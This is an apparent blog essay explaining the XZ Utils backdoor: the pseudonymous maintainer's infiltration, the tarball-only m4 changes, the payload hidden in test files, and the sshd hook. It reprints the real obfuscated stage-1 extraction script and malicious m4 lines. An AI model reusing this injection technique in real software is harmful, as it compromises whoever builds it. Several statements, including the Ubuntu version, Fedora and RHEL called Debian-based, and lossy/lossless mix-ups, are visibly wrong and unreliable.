The XZ Backdoor: A 10.0 CVSS Exploit We Just Barely Avoided

Introduction

The beginning of the calendar year is an important time for the Linux Ecosystem, as it sees the release of many important projects and distributions. Perhaps most important is the coordinated release of the prolific GNOME desktop environment, who’s biannual release cycle sees a new version in March and September (1), and the Ubuntu and Fedora distributions who rely on this environment, and release new versions shortly thereafter. 2024 was an especially important year, as the new Ubuntu 24.04, Noble Numbat, was designated an LTS release (2). Whereas typical Ubuntu versions are supported for a single year before deemed end-of-life, and thus requiring servers to upgrade to newer versions, LTS releases—released every two years—are supported significantly longer, and an even longer period for security fixes. Ubuntu 16.04, released back in 2016, is still slated to received Extended Security Maintenance until 2026 (3), and Noble Numbat was released with Standard Support until 2029, and Extended Security Support until 2034 (2).

On March 29th, just a week before Ubuntu 20.04 was to release, Andres Freund, a Microsoft employee, was conducting personal tests after noticing strange errors and excessive CPU usage in sshd, the OpenSSH daemon that allows for server administrators to perform remote maintenance to their servers (4). Unlike Telnet, SSH allows for secure, encrypted access to remote computers, and with the ubiquity of cloud machines provided in services like AWS, Google Cloud, and Azure, SSH has become an instrumental tool installed on almost every Linux Server. Andres’ revealed a startling discovery: The XZ compression library had maliciously compromised the OpenSSH daemon, providing a backdoor that would allow an attacker root access to any server exposing an SSH server. This vulnerability was soon to be released not only to users upgrading to the anticipated Ubuntu 20.04, but to all Debian-based distributions including the likes of Fedora and RHEL. Fedora 40, the bleeding-edge nightly version, was already vulnerable. Immediately after this discovery, distributions rushed to patch the vulnerability; Ubuntu 20.04 was postponed by a week to ensure that the backdoor would not be deployed, and the XZ repository was removed from GitHub, with the two core contributors banned from the site. But how could a compression library install a backdoor into OpenSSH? How did this backdoor work? Who was behind it?

XZ

A logo used for the XZ Compression Library, contributed by Jia Tan

Compression is an essential aspect of modern computing. If you’ve ever downloaded or created a zip file, you’ve used compression. The idea behind compression is almost akin to magic: given a set of arbitrary data, produce an output that is not only smaller than the original input, but data that can be reconstructed back to the initial input. There are two primary forms of compression: Lossless, and Lossy. A good example of these two are in music and images; formats such as .mp4 and .jpeg are lossy forms of compression: the output isn’t exactly the same as the input, but when we’re working with medium likes images the slight deterioration in visual quality is either imperceptible, or an acceptable trade-off given the significant reduction in bandwidth that we achieve. Online video streaming is only possible thanks to such compression, as most internet connections would be unable to accommodate the raw stream. If we consider a standard HD stream of 1080 * 1920 = 2073600 pixels, sent every sixtieth of a second for 60 FPS, and assuming a pixel requires three bytes to store (256 values of R,G,B), that would equate to 355 MB every second.

Lossless compression, on the other hand is an algorithm like the one we mentioned prior: it perfectly reconstructs the original source. In contrast to .mp4 and .jpeg, .flac and .png are both lossless forms of compressed media and images. Lossless is often used in these contexts either for archival purposes or for higher fidelity, but often cannot be compressed down as well as lossless might. Unlike images, videos, and music, files like binary executables and libraries cannot afford to be losslessly compressed. A slight change in the byte code would be cataclysmic.

XZ is a popular implementation of the Lempel–Ziv–Markov chain compression algorithm, often abbreviated to LZMA. LZMA is a form of lossless compression algorithm called a Dictionary Compression Algorithm. The idea behind it is to find frequent strings within the input, and assign them a single identifier that is much smaller than the original string. We then send this compressed stream, alongside a dictionary that contains a mapping of these uncompressed strings, and their corresponding identifiers. Lossless compression is very useful for a variety of purposes, and XZ in particular is used in Linux for: compressing kernel modules (5), compressing software packages in Debian and Fedora based distributions (Including Ubuntu), and compress network communication where the output must be lossless, such as in OpenSSH (6). XZ is so widespread in its usage that its preinstalled on almost every Linux Distribution.

Lasse Collin

Someday ImageMagick will finally break for good and we’ll have a long period of scrambling as we try to reassemble civilization from the rubble.

The XZ project was created by a single individual, Lasse Collin, who wanted to create a port of Igor Pavlov’s LZMA-SDK, which the latter used to create the popular 7zip application. Created as a hobby project, Lasse has been thanklessly maintaining the project since 2009, and despite how popular the library has become, and how widespread its usage has been, Lasse remains the largest contributor by a vast margin; his contributions of over 2,000 commits total close to a quarter million lines of code added, and is over four times as many commits as every other contributor combined (7). What began as a hobby quickly devolved into a critical part of the Linux ecosystem, and Lasse was neither provided thanks or assistance in the maintenance.

Jia Tan

In 2021, a GitHub account under the pseudonym of Jia Tan was created; it would lay dormant until 2022 where they made their first commit to the XZ repository. The account quickly became a major contributor to the XZ project, which would have certainly been a welcome change for Lasse (8). Their contributions were such that Jia was eventually granted the status of co-maintainer 2023; this meant that, rather than having to create a pull request to the XZ library and have Lasse merge the changes into the mainline repository, Jia could make direct commits to the XZ repository. For the first time since the XZ project had been started, Lasse was no longer the primary contributor to the project, with Jia Tan taking over a majority of the project’s maintenance (9); from when Jia was granted co-maintainer in 2023, to the discovery of the backdoor in March of 2024, Jia contributed 48,000 lines of code across 404 commits, compared to Lasse’s 10,000 across 283. For a point of reference, Jia and Lasse’s commits made up 96% of all contributions to the project, with all other contributors combined only making up 110 of the 2657 total (7).

The Backdoor

The common consensus is that Jia Tan had always been a malicious actor, and had thus spent several years slowly building up trust within the community, being granted co-maintainer in 2023, and continuing to prove themselves as a reliable, earnest contributor (10); as such, the creation of the backdoor was slow, and meticulous:

• On July 8th, 2023, Jia introduced a commit in oss-fuzz, a project used by many open source projects, including XZ. oss-fuzz performs fuzzing, or a means of automatically testing the project for edge cases, and catch invalid behavior. The commit disabled ifunc fuzzing for the xz project. (14). ifunc is a mechanism in glibc that allows for indirect function calls.
• On February 15th, 2024, Jia introduced a commit that stopped the contents of the m4 folder from behind committed to the repository. This folder contained the build-to-host.m4 file which was run during build time. XZ could be compiled one of two ways: either directly from the GitHub repository, which would be the bleeding-edge, latest commit, or by downloading release tarballs that were packed versions of the repository for specific versions, such as 5.6.0. Package maintainers for the various distributions could then download that tar file, containing a versioned, stable versioned source, and build that. Distributions like Ubuntu and Fedora build from tarballs rather than source. Importantly Jia still put the content of this m4 repository into the tarball releases, but they were not checked into the GitHub repository such that they could be easily seen. The differences between the in-tree script and the one within the release tarballs reveal how inconspicuous the changes seem to be (12):
• On February 23rd, 2024, Jia introduced a set of insidiously innocuous commits that added test files to the repository (11). The XZ project has a test folder that contains compressed LZMA files; this type of unit testing ensures that new commits do not break compression/decompression using a variety of settings, and is not out of the ordinary. However, because these test files are compressed binaries, GitHub would not be able to report the contents, and there was no reason to suspect foul play after years of contribution to the project. The build-to-host.m4 acts on these test files during the build, typically to ensure the resultant binary acts as expected.
• On February 24th, 2024, Jia releases version 5.6.0 of XZ, publishing the tarball containing the malicious test files and m4 scripts (16). The backdoor operators in three stages (17):
  • By changing bytes within the test files, the script can decode a hidden script. The relevant section of the build-to-host.m4 script are: gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' and gl_path_map='tr "\t \-_" " \t_\-"', both of which are intentionally verbose and dense to allow the backdoor to hide in plain sight (18)
  • The hidden script detects the system architecture, tool-chain, and distribution (IE Ubuntu), and only injects the payload on specific distributions, specifically amd64 systems running glibc using either Debian or Red Hat derived distributions (12). If the architecture and system match, the script constructs the payload by reading specific bytes from the test files.
  • Finally, the resultant payload is saved as liblzma_la-crc64-fast.o, the backdoor. Notice that Jia Tan did not include any malicious file in the repository, or the tarballs, instead, they nefariously generated the scripts by constructing it from various, specific bytes in the test binaries. Such a level of obfuscation is practically unheard of, and indicative of a highly motivated, funded attacker with a deep knowledge and experience in creating these kinds of payloads.
• On March 9th, 2024, Jia introduced commits to improve the backdoor with new test files (19). This improved version is published as a new tarball in version 5.6.1
• On March 29th, 2024, Andres sent his report about the discovery of the backdoor. It took over a month before anyone noticed the backdoor in 5.6.0. He noticed the new line in the built-to-host.m4 was present in the Debian tarballs, but not in the XZ repository (4).

To give you an understanding of how unbelievably obfuscated this payload was, the following is the Stage 1 Script discovered by Andres, which creates the payload:

####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

The i value is the eventual script, which you can see is passed the good-large_compressed.lmza before the script is evaluated via eval $i.

Even worse, Andres’ report mentions that:

Subsequently the injected code (more about that below) caused valgrind errors
and crashes in some configurations, due the stack layout differing from what
the backdoor was expecting. These issues were attempted to be worked around
in 5.6.1 (4)

This seems to indicate that if Jia Tan had discovered these issues prior putting his exploit into 5.6.0, Andres’ wouldn’t have picked up on exploit, as 5.6.1 resolved the issues that Andres noticed that started the investigation in the first place. If Jia Tan had just been a little more patient in his meticulously planned, two year infiltration of XZ, and had caught this before 5.6.0 was released, there’s a good chance that the backdoor would not only have been packaged into most major Linux Distributions, but would have gone unnoticed for a very long time. That Jia Tan’s code contained a minor issue in 5.6.0 causing slight performance degradation, and that Andres’ had not only noticed this, but had investigated it further before Ubuntu 24.04 was released is such a set of such baffling coincidences that it is beyond words.

However, we still haven’t answered the question as to how a malicious payload in XZ can somehow create backdoor in OpenSSH. Turns out, liblzma is a dependency of libsystemd, which is often loaded by sshd (12). Once loaded, the liblzma backdoor hooks the RSA_public_decrypt function in sshd using the ifunc method that Jia Tan had innocuously removed from oss-fuzz‘s testing. The backdoor does not allow the sshd authentication daemon to be bypassed by anyone, however, it only works with the attacker’s public key: 0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e 20 d3 2c 60 2b 2c 6d 31 00. OpenSSH works as normal, and system administrators can login with their credential, but if the attacker provides a specifically crafted packet with their own public key, the daemon will execute the command provided in the packet with superuser privilege using the system() call. This causes the process to fork a new process, and run execl on whatever was provided. Worst of all, the backdoor did not “provide a root shell” in the traditional sense, since such activity could have then been logged. Instead, the OpenSSH daemon will simply notice any packets that contain the valid key, create a temporary fork that execute the command, and then return back to normal without any trace of the packet or command run.

Conclusion

It is not an exaggeration to say that the XZ backdoor could have been one of the most severe security vulnerabilities in history. If it had gone unnoticed, millions of servers updating to the newly released Ubuntu, Debian, Fedora, and RHEL distributions would unwittingly provide unfettered access of their machine to the attacker. By using such obfuscation in the injection of the payload, and the ephemeral nature of how the backdoor is exploited, it is unlikely that it would have been discovered quickly, especially if Jia Tan had waited until resolving the issues between 5.6.0 and 5.6.1; few people have the technical prowess to notice an apparent regression and, rather than waiting for a fix to appear upstream, actively dive into the code and try and deduce the root cause. If Andres had released his findings even a week later, the attackers could have had more than enough time to target countless servers and caused untold damage. The unfathomable inability for some server administrators to update their systems would have prolonged the issue even further. Andres’ timing allowed for Ubuntu and Fedora to patch the vulnerability before deploying it to their customers, and the importance of that timing cannot be understated.

The care in crafting the payload, with Jia Tan (which is suspected to be a pseudonym for a group of individuals) spending years building trust and eventually becoming the primary maintainer of the project shows the patience of the attacker, which makes it all the more satisfying that they were thwarted just before they could capitalize on their years of effort, if not also deeply concerning just how close we were to calamity. All by a developer noticing a negligible slowdown in the sshd daemon a week before.

We should be immensely grateful for the work of individuals like Andres, but that the situation was able to reach such a point that his investigation was necessary reveals a deeply flawed system. That developers like Lasse are burdened with the maintenance of critical piece of software infrastructure, software initially made as a hobby, and that said developers are expected to thanklessly maintain that infrastructure without the help of those using it is entirely unacceptable. Lasse’s GitHub account was quickly reinstated, and he cannot be blamed for giving Jia Tan the power he needed to install his backdoor after thanklessly maintaining his library for over a decade; anyone who has ever worked on a personal project knows how mentally draining it can be to put in years of work, especially when passion and interest turn into obligation. However, despite the wake-up call this situation provided, the situation has returned back to status quo: Lasse remains the primary contributor of the project, and nobody seems to be willing to step up and help.

So, what can we learn from this situation?

1. We need to ensure that important projects are given sufficient attention; individuals like Lasse should not be forced to maintain projects of such important as XZ by themselves. Companies like Canonical and RedHat should invest resources to ensure that these critical pieces of their software empires are getting the assistance and oversight that they deserve.
2. More stringent security practices need to be employed to prevent these issues from appearing in the first place. Release tarball should be verified so that they do not include files that differ from the repository at the state the tarball was created. Binary files, even for testing, should be sparsely employed in a repository, even less so if those files are involved in the build process. If binary files are included, they should be heavily scrutinized for malicious behavior.

References

1. https://help.gnome.org/misc/release-notes/
2. https://ubuntu.com/blog/canonical-releases-ubuntu-24-04-noble-numbat
3. https://lists.ubuntu.com/archives/ubuntu-security-announce/2021-March/005930.html
4. https://www.openwall.com/lists/oss-security/2024/03/29/4
5. https://www.kernel.org/doc/html/latest/staging/xz.html
6. https://docs.ssh.com/manuals/server-admin/44/Compression.html
7. https://github.com/tukaani-project/xz/graphs/contributors
8. https://arstechnica.com/security/2024/04/what-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world/
9. https://github.com/tukaani-project/xz/commits/master/
10. https://daily.dev/blog/xz-backdoor-the-full-story-in-one-place
11. https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0
12. https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
13. https://docs.kernel.org/userspace-api/landlock.html
14. https://github.com/google/oss-fuzz/pull/10667/files
15. https://jfrog.com/blog/xz-backdoor-attack-cve-2024-3094-all-you-need-to-know/
16. https://github.com/tukaani-project/xz/commit/a18fb1edef0d0aac12a09eed05e9c448c777af7b
17. https://www.elastic.co/security-labs/500ms-to-midnight
18. https://gynvael.coldwind.pl/?lang=en&id=782
19. https://git.tukaani.org/?p=xz.git;a=commit;h=6e636819e8f070330d835fce46289a3ff72a7b89

Image References

Featured Image: https://research.hisolutions.com/wp-content/uploads/2024/04/Backdoor_Matrix.jpg

Other (In Order of Appearance)

1. https://upload.wikimedia.org/wikipedia/commons/6/67/XZ_logo_contributed_by_Jia_Tan.png
2. https://www.explainxkcd.com/wiki/images/d/d7/dependency.png
3. https://cdn.arstechnica.net/wp-content/uploads/2024/04/xz-backdoor-graphic-thomas-roccia-scaled.jpg